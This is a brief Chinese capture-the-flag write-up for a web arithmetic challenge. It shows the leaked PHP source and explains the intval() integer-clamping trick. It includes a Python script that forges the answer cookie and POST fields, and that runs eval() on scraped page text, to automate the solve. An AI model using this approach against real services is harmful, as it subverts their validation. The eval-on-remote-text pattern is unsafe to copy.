进入页面要求我们输入21位以上的数进行计算

查看用源代码后发现有源码泄露提示,扫描得到index的源码
<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
session_destroy();
echo '
<script language="javascript">
alert("怎么没算对呢?");
window.history.back(-1); </script>';
}
else{
if(intval(time())-$_SESSION['time']<1){
session_destroy();
echo '
<script language="javascript">
alert("你手速太快啦,服务器承受不住!!!");
window.history.back(-1); </script> ';
}
if(intval(time())-$_SESSION['time']>2){
session_destroy();
echo '
<script language="javascript">
alert("你算的太慢了少年!");
window.history.back(-1); </script> ';
}
echo '
<script language="javascript">
alert("tql,算对了!!");
</script> ';
$_SESSION['count']++;
}
}
?>
关于intval函数,在第一个参数为字符串时可以通过第二个参数将数字转换成指定进制
- intval('42', 8); // => 34
- intval(42, 8); // => 42 !
- intval("12",5) = 7; (5进制的12=10进制7)
- intval("1011",2) = 11; (2进制的1011=10进制11)
在php中
intval的取值范围:与操作系统相关:
32位系统上为-2147483648到2147483647,64位系统上为-9223372036854775808到9223372036854775807。当我们输入21位以上的数后经过该函数会变成9223372036854775807为定值
上述源码将我们输入的数和答案放在POST变量中,将题目给出的式子的结果放在cookie中用正则匹配所有字符后拼接得到表达式用python eval函数得出结果
from requests import *
import time
import re
url = "http://node4.anna.nssctf.cn:28431/"
s = session()
r = s.get(url)
kk = re.compile(r'>(\S+)</div>')
for y in range(100):
a = "9223372036854775807"
input = "0"
zz = kk.findall(r.text)
for x in zz:
if x !='=':
input+=x
a+=x
print(input)
result=eval(input)
result1=eval(a)
print(result)
print(result1)
data = {"input":9999999999999999999999,"ans": result1}
cookie={"ans":str(result)}
r = s.post(url, data=data,cookies=cookie)
r.encoding = 'utf-8'
time.sleep(1)
print(r.text)
第四次后得到flag

Comments NOTHING